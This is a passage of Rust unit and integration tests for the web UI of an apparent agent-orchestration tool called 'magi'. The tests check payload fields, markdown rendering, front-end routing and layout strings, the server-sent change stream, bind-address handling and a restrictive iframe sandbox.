14025 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
14026 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
14027 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
14028 assert!(APP_JS.contains("unreadable` : null"));
14030 }
14031
14032 #[test]
14033 fn the_run_detail_payload_says_whether_the_run_is_done() {
14034 for (status, done) in [
14036 (RunStatus::Superseded, true),
14037 (RunStatus::Blocked, true),
14038 (RunStatus::Landing, false),
14039 ] {
14040 let mut state = RunState::new(
14041 std::path::PathBuf::from("/repo"),
14042 "main".to_owned(),
14043 "abc".to_owned(),
14044 "x".to_owned(),
14045 crate::config::Config::default(),
14046 );
14047 state.status = status;
14048 let v = serde_json::to_value(RunDetailView::of(
14049 state,
14050 false,
14051 crate::run::Liveness::Unknown,
14052 None,
14053 None,
14054 None,
14055 ))
14056 .unwrap();
14057 assert_eq!(v["done"], done, "{status:?}");
14058 }
14059 }
14060
14061 fn has_strong(nodes: &[md::Node]) -> bool {
14063 serde_json::to_string(nodes).unwrap().contains("strong")
14064 }
14065
14066 #[test]
14067 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
14068 let mut state = RunState::new(
14069 std::path::PathBuf::from("/repo"),
14070 "main".to_owned(),
14071 "abc".to_owned(),
14072 "x".to_owned(),
14073 crate::config::Config::default(),
14074 );
14075 let proposal = |approach: &str| {
14076 serde_json::json!({
14077 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
14078 })
14079 };
14080 state.advice = Some(
14081 serde_json::from_value(serde_json::json!({
14082 "records": [
14083 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
14084 "proposal": proposal("do **this**")},
14085 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
14086 ],
14087 "synthesis": "- one\n- **two**\n\n`code`",
14088 }))
14089 .unwrap(),
14090 );
14091 state.candidates = serde_json::from_value(serde_json::json!([
14092 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
14093 "summary": "did **it**"},
14094 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
14095 ]))
14096 .unwrap();
14097 state.reviews = serde_json::from_value(serde_json::json!([{
14100 "round": 1, "head": "h",
14101 "reviews": [{
14102 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
14103 "findings": [
14104 {"severity": "nit", "title": "t1", "detail": "plain nit"},
14105 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
14106 ],
14107 }],
14108 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
14109 "fix": {"agent": "a", "notes": "fixed **it**",
14110 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
14111 }, {"round": 2, "head": "h2", "reviews": []}]))
14112 .unwrap();
14113
14114 let v = serde_json::to_value(RunDetailView::of(
14115 state,
14116 false,
14117 crate::run::Liveness::Unknown,
14118 None,
14119 None,
14120 None,
14121 ))
14122 .unwrap();
14123
14124 let strong = |p: &str| {
14125 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
14126 assert!(n.to_string().contains("strong"), "{p}: {n}");
14127 };
14128 strong("/advice_md/synthesis");
14129 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
14130 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
14131 strong("/advice_md/approaches/0");
14132 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
14133 strong("/candidate_summaries_md/0");
14134 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
14135 strong("/reviews_md/0/reviewers/0/summary");
14136 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
14137 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
14138 assert!(f[1].to_string().contains("strong"));
14139 strong("/reviews_md/0/reconsideration/0");
14140 strong("/reviews_md/0/fix/notes");
14141 strong("/reviews_md/0/fix/rejected/0");
14142 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
14143 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
14144 assert_eq!(v["candidates"][0]["summary"], "did **it**");
14146 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
14147 }
14148
14149 #[test]
14150 fn a_run_without_advice_has_no_advice_md() {
14151 let state = RunState::new(
14152 std::path::PathBuf::from("/repo"),
14153 "main".to_owned(),
14154 "abc".to_owned(),
14155 "x".to_owned(),
14156 crate::config::Config::default(),
14157 );
14158 let p = run_prose_md(&state);
14159 assert!(p.advice_md.is_none());
14160 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
14161 }
14162
14163 #[test]
14164 fn a_question_view_carries_markdown_for_each_thread_turn() {
14165 let home = TempDir::new().unwrap();
14166 let store = ask::Questions::at(home.path().join("questions"));
14167 let mut q = Question::new(
14168 "run".to_owned(),
14169 "implement".to_owned(),
14170 "impl-A".to_owned(),
14171 "which?".to_owned(),
14172 String::new(),
14173 Vec::new(),
14174 );
14175 q.say("plain words").unwrap();
14176 q.reply("use **this**", Vec::new()).unwrap();
14177 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14178 let bodies = &v["thread_bodies_md"];
14179 assert_eq!(bodies.as_array().unwrap().len(), 2);
14180 assert!(!bodies[0].to_string().contains("strong"));
14181 assert!(bodies[1].to_string().contains("strong"));
14182 }
14183
14184 #[test]
14185 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
14186 let home = TempDir::new().unwrap();
14187 let store = ask::Questions::at(home.path().join("questions"));
14188 let mut q = Question::new(
14189 "run".to_owned(),
14190 "conduct".to_owned(),
14191 "conduct".to_owned(),
14192 "which?".to_owned(),
14193 String::new(),
14194 Vec::new(),
14195 );
14196 q.say("plain words").unwrap();
14197 q.thread.push(ask::Turn {
14198 who: ask::Who::Agent,
14199 body: "Settled as `merge`".to_owned(),
14200 at: jiff::Timestamp::now(),
14201 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
14202 });
14203 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14204 let notes = &v["thread_notes_md"];
14205 assert_eq!(notes.as_array().unwrap().len(), 2);
14206 assert!(notes[0].is_null());
14207 let text = notes[1].to_string();
14208 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
14209 assert!(APP_JS.contains("ask-turn-note"));
14210 }
14211
14212 #[test]
14213 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
14214 assert!(APP_JS.contains("function landView(run, raw) {"));
14218 assert!(
14219 APP_JS.contains(
14220 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
14221 )
14222 );
14223 assert!(APP_JS.contains("const pr = landView(run, raw);"));
14224 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
14225 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
14226 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
14227 }
14228
14229 #[test]
14230 fn live_runs_are_never_hidden_or_folded_as_superseded() {
14231 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
14232 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
14233 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
14234 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
14235 }
14236
14237 #[test]
14238 fn review_rounds_label_a_distinct_verified_head() {
14239 assert!(APP_JS.contains("round.verified_head"));
14240 assert!(APP_JS.contains("verified HEAD"));
14241 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
14242 }
14243
14244 #[test]
14245 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
14246 assert!(APP_JS.contains("blocked: { glyph:"));
14250 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
14251
14252 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
14256 assert!(
14257 APP_JS.contains(
14258 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
14259 ),
14260 "the note line must name what a blocked task is waiting on, not just that it is blocked"
14261 );
14262 assert!(APP_JS.contains("if (status === \"blocked\") {"));
14266
14267 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
14271 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
14272 assert!(
14273 APP_JS.contains("location.hash = \"#/questions\";"),
14274 "a question node must jump to the Questions screen, not pretend to be a task"
14275 );
14276
14277 assert!(APP_JS.contains("Resolved questions"));
14280 assert!(APP_JS.contains("r.answersList.append("));
14281 assert!(APP_CSS.contains(".task-answers"));
14282 {
14283 let start = APP_JS
14284 .find("function updateTalkTaskRow")
14285 .expect("updateTalkTaskRow");
14286 let body = &APP_JS[start..];
14287 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
14288 assert!(
14289 body.contains(
14290 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
14291 ),
14292 "a chat-filed task row must link to the task page"
14293 );
14294 assert!(
14295 !body.contains("#/runs/") && !body.contains("#/queue/"),
14296 "the row must not branch to a run or the queue card"
14297 );
14298 assert!(APP_CSS.contains(".talk-task-link"));
14299 }
14300 }
14301
14302 #[test]
14303 fn a_task_notification_links_to_the_task_page() {
14304 let start = APP_JS
14306 .find("function noticeLink(")
14307 .expect("noticeLink exists");
14308 let body = &APP_JS[start..];
14309 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
14310 assert!(
14311 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
14312 "a task notice's link must target the task page"
14313 );
14314 assert!(
14315 !body.contains("#/queue/"),
14316 "regression: the task link must not go back to the Backlog route"
14317 );
14318 assert!(
14319 APP_JS.contains(
14320 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
14321 ),
14322 "`#/tasks/<id>` must parse into the task route"
14323 );
14324
14325 assert!(
14327 APP_JS.contains(
14328 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
14329 ),
14330 "`#/queue/<id>` must parse into a route carrying that id"
14331 );
14332
14333 assert!(APP_JS.contains("state.queueFocus = route.id;"));
14337 assert!(APP_JS.contains("function consumeQueueFocus()"));
14338 assert!(APP_JS.contains("jumpToTask(id)"));
14339 }
14340
14341 #[test]
14344 fn chat_rows_put_the_title_alone_on_the_first_line() {
14345 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
14346 assert!(APP_CSS.contains(
14347 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
14348 ));
14349 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
14350 assert!(APP_JS.contains("class: \"badge talk-unread\""));
14351 }
14352
14353 #[test]
14354 fn run_rows_put_the_title_alone_on_the_first_line() {
14355 assert!(
14356 APP_CSS.contains(
14357 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
14358 )
14359 );
14360 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
14361 assert!(APP_JS.contains("class: \"card run-card\""));
14362 assert!(APP_JS.contains("class: \"repo run-id\""));
14363 }
14364
14365 #[test]
14369 fn wide_screens_show_list_and_preview_side_by_side() {
14370 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
14372 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
14373 assert!(APP_CSS.contains("main[data-split]"));
14374 assert!(APP_CSS.contains("body[data-split]"));
14375
14376 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
14378 assert!(
14379 APP_JS.contains(
14380 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
14381 )
14382 );
14383 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
14384 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
14385 assert!(INDEX_HTML.contains("id=\"split-empty\""));
14386
14387 assert!(APP_JS.contains("function markSelected() {"));
14389 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
14390 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
14391 assert!(
14393 APP_CSS.contains(
14394 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
14395 )
14396 );
14397
14398 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
14400 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
14401 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
14402 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
14403
14404 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
14408 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
14409 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
14410 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
14411
14412 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
14414 }
14415
14416 #[test]
14417 fn panel_sandbox_carries_exactly_popups() {
14418 let needle = "sandbox: \"";
14419 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
14420 assert_eq!(
14421 matches.len(),
14422 1,
14423 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
14424 );
14425 let start = matches[0].0 + needle.len();
14426 let end = APP_JS[start..]
14427 .find('"')
14428 .expect("sandbox attribute value must be terminated by a closing quote");
14429 let val = &APP_JS[start..start + end];
14430 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
14431 let expected: std::collections::BTreeSet<&str> =
14432 ["allow-popups", "allow-popups-to-escape-sandbox"]
14433 .into_iter()
14434 .collect();
14435 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
14436 assert!(
14437 !tokens.contains("allow-scripts"),
14438 "allow-scripts must never be present in sandbox"
14439 );
14440 assert!(
14441 !tokens.contains("allow-same-origin"),
14442 "allow-same-origin must never be present in sandbox"
14443 );
14444 }
14445
14446 #[test]
14447 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
14448 assert!(
14457 APP_JS.contains(
14458 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
14459 ),
14460 "the search-clearing branch must run before state.queueFocus is cleared, or the \
14461 recursive renderQueue() call has nothing left to jump to"
14462 );
14463 assert!(
14464 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
14465 "state.queueFocus must be cleared only once the jump has landed, so a card that \
14466 arrives later still gets it"
14467 );
14468 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
14469 assert!(APP_JS.contains("is not in the current Backlog."));
14470 assert!(APP_JS.contains("li.card[data-task-id=\""));
14471 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
14472 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
14473 assert!(APP_CSS.contains(".card-permalink"));
14474 assert!(APP_CSS.contains(".queue-focus-status"));
14475 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
14476 }
14477
14478 #[test]
14479 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
14480 assert!(
14488 APP_JS.contains(
14489 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
14490 ),
14491 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
14492 );
14493 }
14494
14495 #[test]
14496 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
14497 assert!(
14498 APP_JS.contains("round.verified_head !== round.head"),
14499 "a round that verified an earlier commit must be visibly distinct from one that \
14500 verified the head reviewers are looking at now"
14501 );
14502 assert!(
14503 APP_JS.contains("round.verified_at"),
14504 "when a check ran must be on the wire, not just which commit"
14505 );
14506 assert!(
14507 APP_JS.contains("resource_blocked"),
14508 "a command magi never got to run (shared build cache contention) must not render \
14509 the same as a command that ran and failed"
14510 );
14511 }
14512
14513 #[test]
14514 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
14515 assert!(
14523 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
14524 "every KPI tile built through statusTile() must route its click through \
14525 openRunsFiltered, the single place that sets the Runs filter"
14526 );
14527 for (label, status) in [
14528 ("Merged", "merged"),
14529 ("Ready", "ready"),
14530 ("Blocked", "blocked"),
14531 ("Stalled", "stalled"),
14532 ] {
14533 let call = format!("statusTile(\"{label}\", t.{status}, ");
14534 assert!(
14535 APP_JS.contains(&call),
14536 "expected the {label} KPI tile built via {call}..."
14537 );
14538 assert!(
14539 APP_JS.contains(&format!("status === \"{status}\"")),
14540 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
14541 compare a run against, not one invented only for the stats tile"
14542 );
14543 }
14544 assert!(
14545 APP_JS.contains("function openRunsFiltered(status)"),
14546 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
14547 );
14548 assert!(
14549 APP_JS.contains(
14550 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
14551 ),
14552 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
14553 );
14554 assert!(
14562 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
14563 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
14564 hashchange event that may never fire"
14565 );
14566 }
14567
14568 #[test]
14569 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
14570 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
14576 assert!(
14577 APP_JS.contains(
14578 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
14579 ),
14580 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
14581 guard for an incompatible tree section"
14582 );
14583 }
14584
14585 #[test]
14586 fn every_stats_queue_tile_names_a_real_queue_section() {
14587 assert!(
14593 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
14594 "every queue tile built through sectionTile() must route its click through \
14595 openQueueSectionFocus"
14596 );
14597 for key in ["upnext", "running", "done", "held", "blocked"] {
14598 assert!(
14599 APP_JS.contains(&format!("{{ key: \"{key}\",")),
14600 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
14601 );
14602 }
14603 for line in [
14607 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
14608 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
14609 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
14610 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
14611 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
14612 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
14613 ] {
14614 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
14615 }
14616 }
14617
14618 #[test]
14619 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
14620 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
14627 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
14628 assert!(APP_JS.contains("function revealQueueSection(details)"));
14629 assert!(
14630 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
14631 "renderQueue() must consume both focus channels on every pass"
14632 );
14633 assert!(
14634 APP_JS.contains(
14635 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
14636 ),
14637 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
14638 the recursive renderQueue() call has nothing left to reveal"
14639 );
14640 assert!(
14641 APP_JS.contains(
14642 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
14643 ),
14644 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
14645 );
14646 assert!(
14654 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
14655 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
14656 hashchange event that may never fire"
14657 );
14658 }
14659
14660 #[tokio::test]
14661 async fn the_change_stream_announces_the_current_revisions_on_connect() {
14662 let f = Fixture::start().await;
14663
14664 let mut socket = tokio::net::TcpStream::connect(f.addr)
14665 .await
14666 .expect("connect");
14667 socket
14668 .write_all(
14669 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
14670 )
14671 .await
14672 .expect("write request");
14673
14674 let mut seen = String::new();
14677 let mut buf = [0u8; 1024];
14678 while !seen.contains("event: change") {
14679 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
14680 .await
14681 .expect("the stream must speak within five seconds")
14682 .expect("read");
14683 assert!(read > 0, "the server closed the change stream: {seen}");
14684 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
14685 }
14686
14687 assert!(
14688 seen.to_lowercase()
14689 .contains("content-type: text/event-stream"),
14690 "the browser only reconnects automatically for a real SSE stream: {seen}"
14691 );
14692 let data = seen
14693 .lines()
14694 .find_map(|l| l.strip_prefix("data:"))
14695 .expect("a data line");
14696 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
14697 assert!(
14698 payload["queue_rev"].is_u64()
14699 && payload["runs_rev"].is_u64()
14700 && payload["questions_rev"].is_u64()
14701 && payload["talks_rev"].is_u64()
14702 && payload["notifications_rev"].is_u64()
14703 && payload["loop_rev"].is_u64(),
14704 "the client needs one revision per store to know what to refetch, \
14705 and `talks_rev` is the only notification a standing talk gets - a \
14706 phone whose radio slept through a turn learns about it here, as \
14707 does one whose operator started the loop from another device: \
14708 {payload}"
14709 );
14710
14711 let health = f.get("/api/health").await.json();
14718 for key in [
14719 "queue_rev",
14720 "runs_rev",
14721 "questions_rev",
14722 "talks_rev",
14723 "notifications_rev",
14724 "loop_rev",
14725 ] {
14726 assert!(
14727 health[key].is_u64(),
14728 "health is the change stream's fallback and is missing `{key}`: {health}"
14729 );
14730 }
14731 }
14732
14733 #[tokio::test]
14734 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
14735 let f = Fixture::start().await;
14736 let before = f.get("/api/health").await.json()["talks_rev"]
14737 .as_u64()
14738 .expect("talks_rev");
14739
14740 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
14741 std::thread::sleep(Duration::from_millis(10));
14742 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
14743 on_disk.turns.push(crate::talk::Turn {
14744 breaks: Some(Vec::new()),
14745 posted_by: None,
14746 who: crate::talk::Who::Operator,
14747 body: "a new turn".to_owned(),
14748 at: Timestamp::now(),
14749 attachments: Vec::new(),
14750 usage: None,
14751 });
14752 f.talks().put(&mut on_disk).expect("record a turn");
14753
14754 let after = f.get("/api/health").await.json()["talks_rev"]
14755 .as_u64()
14756 .expect("talks_rev");
14757 assert_ne!(
14758 before, after,
14759 "a phone must be able to notice a talk's reply without polling every store"
14760 );
14761 }
14762
14763 #[test]
14764 fn bind_reads_back_from_the_spelling_the_cli_prints() {
14765 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
14769 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
14770 }
14771 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
14772 assert!("everywhere".parse::<Bind>().is_err());
14773 }
14774
14775 #[test]
14776 fn an_explicit_bind_address_is_taken_verbatim() {
14777 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
14778
14779 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
14780
14781 assert_eq!(addr, asked);
14782 assert!(
14783 warning.is_none(),
14784 "an operator who named an address gets no lecture"
14785 );
14786 }
14787
14788 #[test]
14789 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
14790 let (addr, warning) = resolve_bind(&Bind::Auto);
14791
14792 match addr {
14799 IpAddr::V4(ip) if is_tailnet(&ip) => {
14800 assert!(warning.is_none(), "a tailnet address needs no warning");
14801 }
14802 other => {
14803 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
14804 let warning = warning.expect("a fallback has to explain itself");
14805 assert!(
14806 warning.contains("127.0.0.1") && warning.contains("local-only"),
14807 "the warning says what happened and what it costs: {warning}"
14808 );
14809 }
14810 }
14811 }
14812
14813 #[test]
14814 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
14815 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
14819 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
14820 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
14821 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
14822 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
14823 }
14824
14825 #[test]
14826 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
14827 let ids = vec![
14828 "20260902-140501-aaaa".to_owned(),
14829 "20260902-140502-aabb".to_owned(),
14830 ];
14831
14832 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
14833 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
14834 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
14835
14836 assert_eq!(missing.status, StatusCode::NOT_FOUND);
14837 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
14838 assert_eq!(short, "20260902-140502-aabb");
14839 }
14840 #[tokio::test]
14841 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
14842 let fx = Fixture::start().await;
14848 let id = panel(
14849 &fx,
14850 "<img src=\"shot.png\">",
14851 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
14852 );
14853
14854 let doc = fx
14856 .get(&format!("/api/questions/{id}/panel/index.html"))
14857 .await;
14858 assert_eq!(doc.status, 200, "{}", doc.body);
14859 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
14860
14861 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
14862 assert_eq!(sibling.status, 200, "{}", sibling.body);
14863 assert_eq!(sibling.header("content-type"), Some("image/png"));
14864 assert_eq!(
14865 sibling.header("content-security-policy"),
14866 Some(PANEL_CSP),
14867 "the sibling route must carry the same policy as the asset route"
14868 );
14869
14870 assert_eq!(
14873 fx.head(&format!("/api/questions/{id}/panel")).await.status,
14874 200
14875 );
14876 }
14877
14878 #[test]
14879 fn delta_stamps_cover_add_update_remove_and_noop() {
14880 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
14881 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
14882 let delta = diff_stamps(&before, &after, 42);
14883 assert_eq!(delta.base, 42);
14884 assert_eq!(delta.changed, ["b", "c"]);
14885 assert_eq!(delta.removed, ["a"]);
14886 let same = diff_stamps(&after, &after, 43);
14887 assert!(same.changed.is_empty() && same.removed.is_empty());
14888 assert_ne!(stamps_revision(&before), stamps_revision(&after));
14889 let nanos: Stamps = [("b".into(), (2, 20))].into();
14890 let same_ms: Stamps = [("b".into(), (3, 20))].into();
14891 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
14892 assert_eq!(stamps_revision(&Stamps::new()), 0);
14893 }
14894
14895 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
14896 std::fs::create_dir_all(home.join("runs")).unwrap();
14897 Arc::new(Ui::new(
14898 Queue::at(home.join("queue")),
14899 Questions::at(home.join("questions")),
14900 Talks::at(home.join("talks")),
14901 home.join("runs"),
14902 home.to_owned(),
14903 PathBuf::from("/repo/magi"),
14904 ))
14905 }
14906
14907 #[tokio::test]
14908 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
14909 let home = TempDir::new().unwrap();
14910 let ui = delta_test_ui(home.path());
14911 let mut task = Task::new(
14912 "stream task".into(),
14913 "text".into(),
14914 PathBuf::from("/repo"),
14915 Source::Human,
14916 );
14917 ui.queue.put(&mut task).unwrap();
14918 let response = events(State(ui.clone())).await.into_response();
14919 let mut stream = response.into_body().into_data_stream();
14920 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
14921 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
14922 .await
14923 .unwrap()
14924 .unwrap()
14925 .unwrap();
14926 let text = String::from_utf8(chunk.to_vec()).unwrap();
14927 let data = text
14928 .lines()
14929 .find_map(|line| {
14930 line.strip_prefix("data: ")
14931 .or_else(|| line.strip_prefix("data:"))
14932 })
14933 .unwrap();
14934 serde_json::from_str(data).unwrap()
14935 }
14936 let initial = change(&mut stream).await;
14937 assert!(initial.get("queue_delta").is_none());
14938 task.instruction.push_str(" changed");
14939 ui.queue.put(&mut task).unwrap();
14940 let updated = change(&mut stream).await;
14941 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
14942 assert_eq!(
14943 updated["queue_delta"]["changed"],
14944 serde_json::json!([task.id])
14945 );
14946 assert_eq!(
14947 updated["queue_rev"].as_u64(),
14948 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
14949 );
14950 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
14951 let removed = change(&mut stream).await;
14952 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
14953 assert_eq!(
14954 removed["queue_delta"]["removed"],
14955 serde_json::json!([task.id])
14956 );
14957 }
14958
14959 #[tokio::test]
